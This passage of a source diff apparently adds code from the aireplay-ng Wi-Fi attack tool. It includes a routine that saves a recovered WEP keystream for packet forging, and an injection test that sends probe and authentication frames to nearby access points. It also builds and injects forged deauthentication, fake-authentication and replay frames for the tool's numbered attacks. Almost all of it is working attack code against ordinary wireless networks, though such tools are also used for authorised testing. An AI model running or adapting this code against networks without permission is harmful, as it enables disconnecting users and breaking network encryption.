+						 opt.r_sip,
+						 opt.r_dip,
+						 length);
+		if (caplen == length + 8 + z)
+		{
+			// That's the ARP packet!
+			//             PCT; printf("That's our ARP packet!\n");
+		}
+		if (caplen == length + 16 + z)
+		{
+			// That's the LLC NULL packet!
+			//             PCT; printf("That's our LLC Null packet!\n");
+			memset(h80211 + 24, '\x00', length + 8);
+		}
+
+		if (again != ABORT)
+		{
+			memcpy(iv, packet + z, 4);
+			memcpy(prga, packet + z + 4, length);
+			xor_keystream(prga, h80211 + 24, length);
+		}
+
+		lt = localtime((const time_t *) &tv.tv_sec);
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "fragment-%02d%02d-%02d%02d%02d.xor",
+				 lt->tm_mon + 1,
+				 lt->tm_mday,
+				 lt->tm_hour,
+				 lt->tm_min,
+				 lt->tm_sec);
+		save_prga(strbuf, iv, prga, length);
+
+		printf("Saving keystream in %s\n", strbuf);
+		printf("Now you can build a packet with packetforge-ng out of that %d "
+			   "bytes keystream\n",
+			   length);
+
+		done = 1;
+	}
+
+	return (0);
+}
+
+static int grab_essid(unsigned char * packet, int len)
+{
+	int i = 0, j = 0, pos = 0, tagtype = 0, taglen = 0, chan = 0;
+	unsigned char bssid[6];
+
+	memcpy(bssid, packet + 16, 6);
+	taglen = 22; // initial value to get the fixed tags parsing started
+	taglen += 12; // skip fixed tags in frames
+	do
+	{
+		pos += taglen + 2;
+		tagtype = packet[pos];
+		taglen = packet[pos + 1];
+	} while (tagtype != 3 && pos < len - 2);
+
+	if (tagtype != 3) return -1;
+	if (taglen != 1) return -1;
+	if (pos + 2 + taglen > len) return -1;
+
+	chan = packet[pos + 2];
+
+	pos = 0;
+
+	taglen = 22; // initial value to get the fixed tags parsing started
+	taglen += 12; // skip fixed tags in frames
+	do
+	{
+		pos += taglen + 2;
+		tagtype = packet[pos];
+		taglen = packet[pos + 1];
+	} while (tagtype != 0 && pos < len - 2);
+
+	if (tagtype != 0) return -1;
+	if (taglen > 250) taglen = 250;
+	if (pos + 2 + taglen > len) return -1;
+
+	for (i = 0; i < MAX_APS; i++)
+	{
+		if (ap[i].set)
+		{
+			if (memcmp(bssid, ap[i].bssid, 6) == 0) // got it already
+			{
+				if (packet[0] == 0x50 && !ap[i].found)
+				{
+					ap[i].found++;
+				}
+				if (ap[i].chan == 0) ap[i].chan = chan;
+				break;
+			}
+		}
+		if (ap[i].set == 0)
+		{
+			for (j = 0; j < taglen; j++)
+			{
+				if (packet[pos + 2 + j] < 32 || packet[pos + 2 + j] > 127)
+				{
+					return -1;
+				}
+			}
+
+			ap[i].set = 1;
+			ap[i].len = taglen;
+			memcpy(ap[i].essid, packet + pos + 2, taglen);
+			ap[i].essid[taglen] = '\0';
+			memcpy(ap[i].bssid, bssid, 6);
+			ap[i].chan = chan;
+			if (packet[0] == 0x50) ap[i].found++;
+			return 0;
+		}
+	}
+	return -1;
+}
+
+struct net_hdr
+{
+	uint8_t nh_type;
+	uint32_t nh_len;
+	uint8_t nh_data[0];
+} __packed;
+
+static int tcp_test(const char * ip_str, const short port)
+{
+	int sock, i;
+	struct sockaddr_in s_in;
+	int packetsize = 1024;
+	unsigned char packet[packetsize];
+	struct timeval tv, tv2, tv3;
+	int caplen = 0;
+	int times[REQUESTS];
+	int min, avg, max, len;
+	struct net_hdr nh;
+
+	tv3.tv_sec = 0;
+	tv3.tv_usec = 1;
+
+	memset(&s_in, 0, sizeof(struct sockaddr_in));
+	s_in.sin_family = PF_INET;
+	s_in.sin_port = htons(port);
+	if (!inet_aton(ip_str, &s_in.sin_addr)) return -1;
+
+	if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+		return -1;
+
+	/* avoid blocking on reading the socket */
+	if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
+	{
+		perror("fcntl(O_NONBLOCK) failed");
+		close(sock);
+		return (1);
+	}
+
+	gettimeofday(&tv, NULL);
+
+	while (1) // waiting for relayed packet
+	{
+		if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+		{
+			if (errno != EINPROGRESS && errno != EALREADY)
+			{
+				perror("connect");
+				close(sock);
+
+				printf("Failed to connect\n");
+
+				return -1;
+			}
+		}
+		else
+		{
+			gettimeofday(&tv2, NULL);
+			break;
+		}
+
+		gettimeofday(&tv2, NULL);
+		// wait 3000ms for a successful connect
+		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+			 + (tv2.tv_usec - tv.tv_usec))
+			> (3000 * 1000))
+		{
+			printf("Connection timed out\n");
+			close(sock);
+			return (-1);
+		}
+		usleep(10);
+	}
+
+	PCT;
+	printf("TCP connection successful\n");
+
+	// trying to identify airserv-ng
+	memset(&nh, 0, sizeof(nh));
+	//     command: GET_CHAN
+	nh.nh_type = 2;
+	nh.nh_len = htonl(0);
+
+	if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
+	{
+		perror("send");
+		close(sock);
+		return -1;
+	}
+
+	gettimeofday(&tv, NULL);
+	i = 0;
+
+	while (1) // waiting for GET_CHAN answer
+	{
+		caplen = read(sock, &nh, sizeof(nh));
+
+		if (caplen == -1)
+		{
+			if (errno != EAGAIN)
+			{
+				perror("read");
+				close(sock);
+				return -1;
+			}
+		}
+
+		if (caplen > 0 && (unsigned) caplen == sizeof(nh))
+		{
+			len = ntohl(nh.nh_len);
+			if (len <= packetsize && len > 0)
+			{
+				if (nh.nh_type == 1 && i == 0)
+				{
+					i = 1;
+					caplen = read(sock, packet, len);
+					if (caplen == len)
+					{
+						i = 2;
+						break;
+					}
+					else
+					{
+						i = 0;
+					}
+				}
+				else
+				{
+					caplen = read(sock, packet, len);
+				}
+			}
+		}
+
+		gettimeofday(&tv2, NULL);
+		// wait 1000ms for an answer
+		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+			 + (tv2.tv_usec - tv.tv_usec))
+			> (1000 * 1000))
+		{
+			break;
+		}
+		if (caplen == -1) usleep(10);
+	}
+
+	if (i == 2)
+	{
+		PCT;
+		printf("airserv-ng found\n");
+	}
+	else
+	{
+		PCT;
+		printf("airserv-ng NOT found\n");
+	}
+
+	close(sock);
+
+	for (i = 0; i < REQUESTS; i++)
+	{
+		if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+			return -1;
+
+		/* avoid blocking on reading the socket */
+		if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			close(sock);
+			return (1);
+		}
+
+		usleep(1000);
+
+		gettimeofday(&tv, NULL);
+
+		while (1) // waiting for relayed packet
+		{
+			if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+			{
+				if (errno != EINPROGRESS && errno != EALREADY)
+				{
+					perror("connect");
+					close(sock);
+
+					printf("Failed to connect\n");
+
+					return -1;
+				}
+			}
+			else
+			{
+				gettimeofday(&tv2, NULL);
+				break;
+			}
+
+			gettimeofday(&tv2, NULL);
+			// wait 1000ms for a successful connect
+			if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+				 + (tv2.tv_usec - tv.tv_usec))
+				> (1000 * 1000))
+			{
+				break;
+			}
+			// simple "high-precision" usleep
+			select(1, NULL, NULL, NULL, &tv3);
+		}
+		times[i] = ((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					+ (tv2.tv_usec - tv.tv_usec));
+		printf("\r%d/%d\r", i, REQUESTS);
+		fflush(stdout);
+		close(sock);
+	}
+
+	min = INT_MAX;
+	avg = 0;
+	max = 0;
+
+	for (i = 0; i < REQUESTS; i++)
+	{
+		if (times[i] < min) min = times[i];
+		if (times[i] > max) max = times[i];
+		avg += times[i];
+	}
+	avg /= REQUESTS;
+
+	PCT;
+	printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
+		   ip_str,
+		   port,
+		   min /
+#if defined(__x86_64__) && defined(__CYGWIN__)
+			   (0.0f + 1000),
+		   avg / (0.0f + 1000),
+		   max / (0.0f + 1000));
+#else
+			   1000.0,
+		   avg / 1000.0,
+		   max / 1000.0);
+#endif
+
+	return 0;
+}
+
+static int do_attack_test(void)
+{
+	unsigned char packet[4096];
+	struct timeval tv, tv2, tv3;
+	int len = 0, j = 0, k = 0;
+	int gotit = 0, answers = 0;
+	int caplen = 0, essidlen = 0;
+	unsigned int min, avg, max, i = 0, found = 0;
+	int ret = 0;
+	float avg2;
+	struct rx_info ri;
+	unsigned long atime = 200; // time in ms to wait for answer packet (needs to
+	// be higher for airserv)
+	unsigned char nulldata[1024];
+
+	if (opt.port_out > 0)
+	{
+		atime += 200;
+		PCT;
+		printf("Testing connection to injection device %s\n", opt.iface_out);
+		ret = tcp_test(opt.ip_out, opt.port_out);
+		if (ret != 0)
+		{
+			return (1);
+		}
+		printf("\n");
+
+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return 1;
+		printf("\n");
+		dev.fd_out = wi_fd(_wi_out);
+		wi_get_mac(_wi_out, dev.mac_out);
+		if (opt.s_face == NULL)
+		{
+			_wi_in = _wi_out;
+			dev.fd_in = dev.fd_out;
+
+			/* XXX */
+			dev.arptype_in = dev.arptype_out;
+			wi_get_mac(_wi_in, dev.mac_in);
+		}
+	}
+
+	if (opt.s_face && opt.port_in > 0)
+	{
+		atime += 200;
+		PCT;
+		printf("Testing connection to capture device %s\n", opt.s_face);
+		ret = tcp_test(opt.ip_in, opt.port_in);
+		if (ret != 0)
+		{
+			return (1);
+		}
+		printf("\n");
+
+		/* open the packet source */
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+		printf("\n");
+	}
+	else if (opt.s_face && opt.port_in <= 0)
+	{
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+		printf("\n");
+	}
+
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			return (1);
+		}
+	}
+
+	if (getnet(_wi_in,
+			   NULL,
+			   0,
+			   0,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   opt.ignore_negative_one,
+			   opt.nodetect)
+		!= 0)
+		return (EXIT_FAILURE);
+
+	rand_init();
+
+	memset(ap, '\0', sizeof(ap));
+
+	essidlen = strlen(opt.r_essid);
+
+	if (essidlen > 0)
+	{
+		ap[0].set = 1;
+		ap[0].found = 0;
+		ap[0].len = essidlen;
+		memcpy(ap[0].essid, opt.r_essid, essidlen);
+		ap[0].essid[essidlen] = '\0';
+		memcpy(ap[0].bssid, opt.r_bssid, 6);
+		found++;
+	}
+
+	if (opt.bittest) set_bitrate(_wi_out, RATE_1M);
+
+	PCT;
+	printf("Trying broadcast probe requests...\n");
+
+	memcpy(h80211, PROBE_REQ, 24);
+
+	len = 24;
+
+	h80211[24] = 0x00; // ESSID Tag Number
+	h80211[25] = 0x00; // ESSID Tag Length
+
+	len += 2;
+
+	memcpy(h80211 + len, RATES, 16);
+
+	len += 16;
+
+	gotit = 0;
+	answers = 0;
+	for (i = 0; i < 3; i++)
+	{
+		/*
+			random source so we can identify our packets
+		*/
+		opt.r_smac[0] = 0x00;
+		opt.r_smac[1] = rand_u8();
+		opt.r_smac[2] = rand_u8();
+		opt.r_smac[3] = rand_u8();
+		opt.r_smac[4] = rand_u8();
+		opt.r_smac[5] = rand_u8();
+
+		memcpy(h80211 + 10, opt.r_smac, 6);
+
+		send_packet(_wi_out, h80211, (size_t) len, kRewriteDuration);
+
+		gettimeofday(&tv, NULL);
+
+		while (1) // waiting for relayed packet
+		{
+			caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
+
+			if (packet[0] == 0x50) // Is probe response
+			{
+				if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+				{
+					if (grab_essid(packet, caplen) == 0
+						&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
+					{
+						found++;
+					}
+					if (!answers)
+					{
+						PCT;
+						printf("Injection is working!\n");
+						if (opt.fast) return 0;
+						gotit = 1;
+						answers++;
+					}
+				}
+			}
+
+			if (packet[0] == 0x80) // Is beacon frame
+			{
+				if (grab_essid(packet, caplen) == 0
+					&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
+				{
+					found++;
+				}
+			}
+
+			gettimeofday(&tv2, NULL);
+			if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+				 + (tv2.tv_usec - tv.tv_usec))
+				> (3 * atime * 1000)) // wait 'atime'ms for an answer
+			{
+				break;
+			}
+		}
+	}
+	if (answers == 0)
+	{
+		PCT;
+		printf("No Answer...\n");
+	}
+
+	PCT;
+	printf("Found %u AP%c\n", found, ((found == 1) ? ' ' : 's'));
+
+	if (found > 0)
+	{
+		printf("\n");
+		PCT;
+		printf("Trying directed probe requests...\n");
+	}
+
+	for (i = 0; i < found; i++)
+	{
+		if (wi_get_channel(_wi_out) != ap[i].chan)
+		{
+			wi_set_channel(_wi_out, ap[i].chan);
+		}
+
+		if (wi_get_channel(_wi_in) != ap[i].chan)
+		{
+			wi_set_channel(_wi_in, ap[i].chan);
+		}
+
+		PCT;
+		printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
+			   ap[i].bssid[0],
+			   ap[i].bssid[1],
+			   ap[i].bssid[2],
+			   ap[i].bssid[3],
+			   ap[i].bssid[4],
+			   ap[i].bssid[5],
+			   ap[i].chan,
+			   ap[i].essid);
+
+		ap[i].found = 0;
+		min = INT_MAX;
+		max = 0;
+		avg = 0;
+		avg2 = 0;
+
+		memcpy(h80211, PROBE_REQ, 24);
+
+		len = 24;
+
+		h80211[24] = 0x00; // ESSID Tag Number
+		h80211[25] = ap[i].len; // ESSID Tag Length
+		memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);
+
+		len += ap[i].len + 2;
+
+		memcpy(h80211 + len, RATES, 16);
+
+		len += 16;
+
+		for (j = 0; j < REQUESTS; j++)
+		{
+			/*
+				random source so we can identify our packets
+			*/
+			opt.r_smac[0] = 0x00;
+			opt.r_smac[1] = rand_u8();
+			opt.r_smac[2] = rand_u8();
+			opt.r_smac[3] = rand_u8();
+			opt.r_smac[4] = rand_u8();
+			opt.r_smac[5] = rand_u8();
+
+			// build/send probe request
+			memcpy(h80211 + 10, opt.r_smac, 6);
+
+			send_packet(_wi_out, h80211, (size_t) len, kRewriteDuration);
+			usleep(10);
+
+			// build/send request-to-send
+			memcpy(nulldata, RTS, 16);
+			memcpy(nulldata + 4, ap[i].bssid, 6);
+			memcpy(nulldata + 10, opt.r_smac, 6);
+
+			send_packet(_wi_out, nulldata, 16, kRewriteDuration);
+			usleep(10);
+
+			// build/send null data packet
+			memcpy(nulldata, NULL_DATA, 24);
+			memcpy(nulldata + 4, ap[i].bssid, 6);
+			memcpy(nulldata + 10, opt.r_smac, 6);
+			memcpy(nulldata + 16, ap[i].bssid, 6);
+
+			send_packet(_wi_out, nulldata, 24, kRewriteDuration);
+			usleep(10);
+
+			// build/send auth request packet
+			memcpy(nulldata, AUTH_REQ, 30);
+			memcpy(nulldata + 4, ap[i].bssid, 6);
+			memcpy(nulldata + 10, opt.r_smac, 6);
+			memcpy(nulldata + 16, ap[i].bssid, 6);
+
+			send_packet(_wi_out, nulldata, 30, kRewriteDuration);
+
+			// continue
+			gettimeofday(&tv, NULL);
+
+			printf("\r%2d/%2d: %3d%%\r",
+				   ap[i].found,
+				   j + 1,
+				   ((ap[i].found * 100) / (j + 1)));
+			fflush(stdout);
+			while (1) // waiting for relayed packet
+			{
+				caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
+
+				if (packet[0] == 0x50) // Is probe response
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						if (!memcmp(ap[i].bssid,
+									packet + 16,
+									6)) // From the mentioned AP
+						{
+							gettimeofday(&tv3, NULL);
+							ap[i].ping[j]
+								= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+								   + (tv3.tv_usec - tv.tv_usec));
+							if (!answers)
+							{
+								if (opt.fast)
+								{
+									PCT;
+									printf("Injection is working!\n\n");
+									return 0;
+								}
+								answers++;
+							}
+							ap[i].found++;
+							if ((signed) ri.ri_power > -200)
+								ap[i].pwr[j] = (signed) ri.ri_power;
+							break;
+						}
+					}
+				}
+
+				if (packet[0] == 0xC4) // Is clear-to-send
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						gettimeofday(&tv3, NULL);
+						ap[i].ping[j]
+							= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+							   + (tv3.tv_usec - tv.tv_usec));
+						if (!answers)
+						{
+							if (opt.fast)
+							{
+								PCT;
+								printf("Injection is working!\n\n");
+								return 0;
+							}
+							answers++;
+						}
+						ap[i].found++;
+						if ((signed) ri.ri_power > -200)
+							ap[i].pwr[j] = (signed) ri.ri_power;
+						break;
+					}
+				}
+
+				if (packet[0] == 0xD4) // Is ack
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						gettimeofday(&tv3, NULL);
+						ap[i].ping[j]
+							= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+							   + (tv3.tv_usec - tv.tv_usec));
+						if (!answers)
+						{
+							if (opt.fast)
+							{
+								PCT;
+								printf("Injection is working!\n\n");
+								return 0;
+							}
+							answers++;
+						}
+						ap[i].found++;
+						if ((signed) ri.ri_power > -200)
+							ap[i].pwr[j] = (signed) ri.ri_power;
+						break;
+					}
+				}
+
+				if (packet[0] == 0xB0) // Is auth response
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						if (!memcmp(packet + 10, packet + 16, 6)) // From BSS ID
+						{
+							gettimeofday(&tv3, NULL);
+							ap[i].ping[j]
+								= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+								   + (tv3.tv_usec - tv.tv_usec));
+							if (!answers)
+							{
+								if (opt.fast)
+								{
+									PCT;
+									printf("Injection is working!\n\n");
+									return 0;
+								}
+								answers++;
+							}
+							ap[i].found++;
+							if ((signed) ri.ri_power > -200)
+								ap[i].pwr[j] = (signed) ri.ri_power;
+							break;
+						}
+					}
+				}
+
+				gettimeofday(&tv2, NULL);
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+					> (atime * 1000)) // wait 'atime'ms for an answer
+				{
+					break;
+				}
+				usleep(10);
+			}
+			printf("\r%2d/%2d: %3d%%\r",
+				   ap[i].found,
+				   j + 1,
+				   ((ap[i].found * 100) / (j + 1)));
+			fflush(stdout);
+		}
+		for (j = 0; j < REQUESTS; j++)
+		{
+			if (ap[i].ping[j] > 0)
+			{
+				if (ap[i].ping[j] > max) max = ap[i].ping[j];
+				if (ap[i].ping[j] < min) min = ap[i].ping[j];
+				avg += ap[i].ping[j];
+				avg2 += ap[i].pwr[j];
+			}
+		}
+		if (ap[i].found > 0)
+		{
+			avg /= ap[i].found;
+			avg2 /= ap[i].found;
+			PCT;
+			printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n",
+#if defined(__x86_64__) && defined(__CYGWIN__)
+				   (min / (0.0f + 1000)),
+				   (avg / (0.0f + 1000)),
+				   (max / (0.0f + 1000)),
+				   avg2);
+#else
+				   (min / 1000.0),
+				   (avg / 1000.0),
+				   (max / 1000.0),
+				   avg2);
+#endif
+		}
+		PCT;
+		printf("%2d/%2d: %3d%%\n\n",
+			   ap[i].found,
+			   REQUESTS,
+			   ((ap[i].found * 100) / REQUESTS));
+
+		if (!gotit && answers)
+		{
+			PCT;
+			printf("Injection is working!\n\n");
+			gotit = 1;
+		}
+	}
+
+	if (opt.bittest)
+	{
+		if (found > 0)
+		{
+			PCT;
+			printf("Trying directed probe requests for all bitrates...\n");
+		}
+
+		for (i = 0; i < found; i++)
+		{
+			if (ap[i].found <= 0) continue;
+			printf("\n");
+			PCT;
+			printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
+				   ap[i].bssid[0],
+				   ap[i].bssid[1],
+				   ap[i].bssid[2],
+				   ap[i].bssid[3],
+				   ap[i].bssid[4],
+				   ap[i].bssid[5],
+				   ap[i].chan,
+				   ap[i].essid);
+
+			min = INT_MAX;
+			max = 0;
+			avg = 0;
+
+			memcpy(h80211, PROBE_REQ, 24);
+
+			len = 24;
+
+			h80211[24] = 0x00; // ESSID Tag Number
+			h80211[25] = ap[i].len; // ESSID Tag Length
+			memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);
+
+			len += ap[i].len + 2;
+
+			memcpy(h80211 + len, RATES, 16);
+
+			len += 16;
+
+			for (k = 0; k < (int) ArrayCount(bitrates); k++)
+			{
+				ap[i].found = 0;
+				if (set_bitrate(_wi_out, bitrates[k])) continue;
+
+				avg2 = 0;
+				memset(ap[i].pwr, 0, REQUESTS * sizeof(unsigned int));
+
+				for (j = 0; j < REQUESTS; j++)
+				{
+					/*
+						random source so we can identify our packets
+					*/
+					opt.r_smac[0] = 0x00;
+					opt.r_smac[1] = rand_u8();
+					opt.r_smac[2] = rand_u8();
+					opt.r_smac[3] = rand_u8();
+					opt.r_smac[4] = rand_u8();
+					opt.r_smac[5] = rand_u8();
+
+					memcpy(h80211 + 10, opt.r_smac, 6);
+
+					send_packet(
+						_wi_out, h80211, (size_t) len, kRewriteDuration);
+
+					gettimeofday(&tv, NULL);
+
+					printf("\r%2d/%2d: %3d%%\r",
+						   ap[i].found,
+						   j + 1,
+						   ((ap[i].found * 100) / (j + 1)));
+					fflush(stdout);
+					while (1) // waiting for relayed packet
+					{
+						caplen
+							= read_packet(_wi_in, packet, sizeof(packet), &ri);
+
+						if (packet[0] == 0x50) // Is probe response
+						{
+							if (!memcmp(opt.r_smac, packet + 4, 6)) // To our
+							// MAC
+							{
+								if (!memcmp(ap[i].bssid,
+											packet + 16,
+											6)) // From the mentioned AP
+								{
+									if (!answers)
+									{
+										answers++;
+									}
+									ap[i].found++;
+									if ((signed) ri.ri_power > -200)
+										ap[i].pwr[j] = (signed) ri.ri_power;
+									break;
+								}
+							}
+						}
+
+						gettimeofday(&tv2, NULL);
+						if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+							 + (tv2.tv_usec - tv.tv_usec))
+							> (100 * 1000)) // wait 300ms for an answer
+						{
+							break;
+						}
+						usleep(10);
+					}
+					printf("\r%2d/%2d: %3d%%\r",
+						   ap[i].found,
+						   j + 1,
+						   ((ap[i].found * 100) / (j + 1)));
+					fflush(stdout);
+				}
+				for (j = 0; j < REQUESTS; j++) avg2 += ap[i].pwr[j];
+				if (ap[i].found > 0) avg2 /= ap[i].found;
+				PCT;
+				printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n",
+					   wi_get_rate(_wi_out) /
+#if defined(__x86_64__) && defined(__CYGWIN__)
+						   (0.0f + 1000000),
+#else
+						   1000000.0,
+#endif
+					   ap[i].found,
+					   REQUESTS,
+					   ((ap[i].found * 100) / REQUESTS));
+			}
+
+			if (!gotit && answers)
+			{
+				PCT;
+				printf("Injection is working!\n\n");
+				if (opt.fast) return 0;
+				gotit = 1;
+			}
+		}
+	}
+	if (opt.bittest) set_bitrate(_wi_out, RATE_1M);
+
+	if (opt.s_face != NULL)
+	{
+		printf("\n");
+		PCT;
+		printf("Trying card-to-card injection...\n");
+
+		/* sync both cards to the same channel, or the test will fail */
+		if (wi_get_channel(_wi_out) != wi_get_channel(_wi_in))
+		{
+			wi_set_channel(_wi_out, wi_get_channel(_wi_in));
+		}
+
+		/* Attacks */
+		for (i = 0; i < 5; i++)
+		{
+			k = 0;
+			/* random macs */
+			opt.f_smac[0] = 0x00;
+			opt.f_smac[1] = rand_u8();
+			opt.f_smac[2] = rand_u8();
+			opt.f_smac[3] = rand_u8();
+			opt.f_smac[4] = rand_u8();
+			opt.f_smac[5] = rand_u8();
+
+			opt.f_dmac[0] = 0x00;
+			opt.f_dmac[1] = rand_u8();
+			opt.f_dmac[2] = rand_u8();
+			opt.f_dmac[3] = rand_u8();
+			opt.f_dmac[4] = rand_u8();
+			opt.f_dmac[5] = rand_u8();
+
+			opt.f_bssid[0] = 0x00;
+			opt.f_bssid[1] = rand_u8();
+			opt.f_bssid[2] = rand_u8();
+			opt.f_bssid[3] = rand_u8();
+			opt.f_bssid[4] = rand_u8();
+			opt.f_bssid[5] = rand_u8();
+
+			if (i == 0) // attack -0
+			{
+				memcpy(h80211, DEAUTH_REQ, 26);
+				memcpy(h80211 + 16, opt.f_bssid, 6);
+				memcpy(h80211 + 4, opt.f_dmac, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+
+				opt.f_iswep = 0;
+				opt.f_tods = 0;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 26;
+			}
+			else if (i == 1) // attack -1 (open)
+			{
+				memcpy(h80211, AUTH_REQ, 30);
+				memcpy(h80211 + 4, opt.f_dmac, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+				memcpy(h80211 + 16, opt.f_bssid, 6);
+
+				opt.f_iswep = 0;
+				opt.f_tods = 0;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 30;
+			}
+			else if (i == 2) // attack -1 (psk)
+			{
+				memcpy(h80211, ska_auth3, 24); //-V512
+				memcpy(h80211 + 4, opt.f_dmac, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+				memcpy(h80211 + 16, opt.f_bssid, 6);
+
+				// iv+idx
+				h80211[24] = 0x86;
+				h80211[25] = 0xD8;
+				h80211[26] = 0x2E;
+				h80211[27] = 0x00;
+
+				// random bytes (as encrypted data)
+				for (j = 0; j < 132; j++) h80211[28 + j] = rand_u8();
+
+				opt.f_iswep = 1;
+				opt.f_tods = 0;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
+			}
+			else if (i == 3) // attack -3
+			{
+				memcpy(h80211, NULL_DATA, 24);
+				memcpy(h80211 + 4, opt.f_bssid, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+				memcpy(h80211 + 16, opt.f_dmac, 6);
+
+				// iv+idx
+				h80211[24] = 0x86;
+				h80211[25] = 0xD8;
+				h80211[26] = 0x2E;
+				h80211[27] = 0x00;
+
+				// random bytes (as encrypted data)
+				for (j = 0; j < 132; j++) h80211[28 + j] = rand_u8();
+
+				opt.f_iswep = -1;
+				opt.f_tods = 1;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
+			}
+			else if (i == 4) // attack -5
+			{
+				memcpy(h80211, NULL_DATA, 24);
+				memcpy(h80211 + 4, opt.f_bssid, 6);
+				memcpy(h80211 + 10, opt.f_smac, 6);
+				memcpy(h80211 + 16, opt.f_dmac, 6);
+
+				h80211[1] |= 0x04;
+				h80211[22] = 0x0A;
+				h80211[23] = 0x00;
+
+				// iv+idx
+				h80211[24] = 0x86;
+				h80211[25] = 0xD8;
+				h80211[26] = 0x2E;
+				h80211[27] = 0x00;
+
+				// random bytes (as encrypted data)
+				for (j = 0; j < 7; j++) h80211[28 + j] = rand_u8();
+
+				opt.f_iswep = -1;
+				opt.f_tods = 1;
+				opt.f_fromds = 0;
+				opt.f_minlen = opt.f_maxlen = 24 + 4 + 7;
+			}
+
+			for (j = 0; (j < (REQUESTS / 4) && !k); j++) // try it 5 times
+			{
+				send_packet(
+					_wi_out, h80211, (size_t) opt.f_minlen, kRewriteDuration);
+
+				gettimeofday(&tv, NULL);
+				while (1) // waiting for relayed packet
+				{
+					caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
+					if (filter_packet(packet, caplen)
+						== 0) // got same length and same type
+					{
+						if (!answers)
+						{
+							answers++;
+						}
+
+						if (i == 0) // attack -0
+						{
+							if (h80211[0] == packet[0])
+							{
+								k = 1;
+								break;
+							}
+						}
+						else if (i == 1) // attack -1 (open)
+						{
+							if (h80211[0] == packet[0])
+							{
+								k = 1;
+								break;
+							}
+						}
+						else if (i == 2) // attack -1 (psk)
+						{
+							if (h80211[0] == packet[0]
+								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
+									   == 0)
+							{
+								k = 1;
+								break;
+							}
+						}
+						else if (i == 3) // attack -2/-3/-4/-6
+						{
+							if (h80211[0] == packet[0]
+								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
+									   == 0)
+							{
+								k = 1;
+								break;
+							}
+						}
+						else if (i == 4) // attack -5/-7
+						{
+							if (h80211[0] == packet[0]
+								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
+									   == 0)
+							{
+								if ((packet[1] & 0x04)
+									&& memcmp(h80211 + 22, packet + 22, 2) == 0)
+								{
+									k = 1;
+									break;
+								}
+							}
+						}
+					}
+
+					gettimeofday(&tv2, NULL);
+					if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+						 + (tv2.tv_usec - tv.tv_usec))
+						> (3 * atime * 1000)) // wait 3*'atime' ms for an answer
+					{
+						break;
+					}
+					usleep(10);
+				}
+			}
+			if (k)
+			{
+				k = 0;
+				if (i == 0) // attack -0
+				{
+					PCT;
+					printf("Attack -0:           OK\n");
+				}
+				else if (i == 1) // attack -1 (open)
+				{
+					PCT;
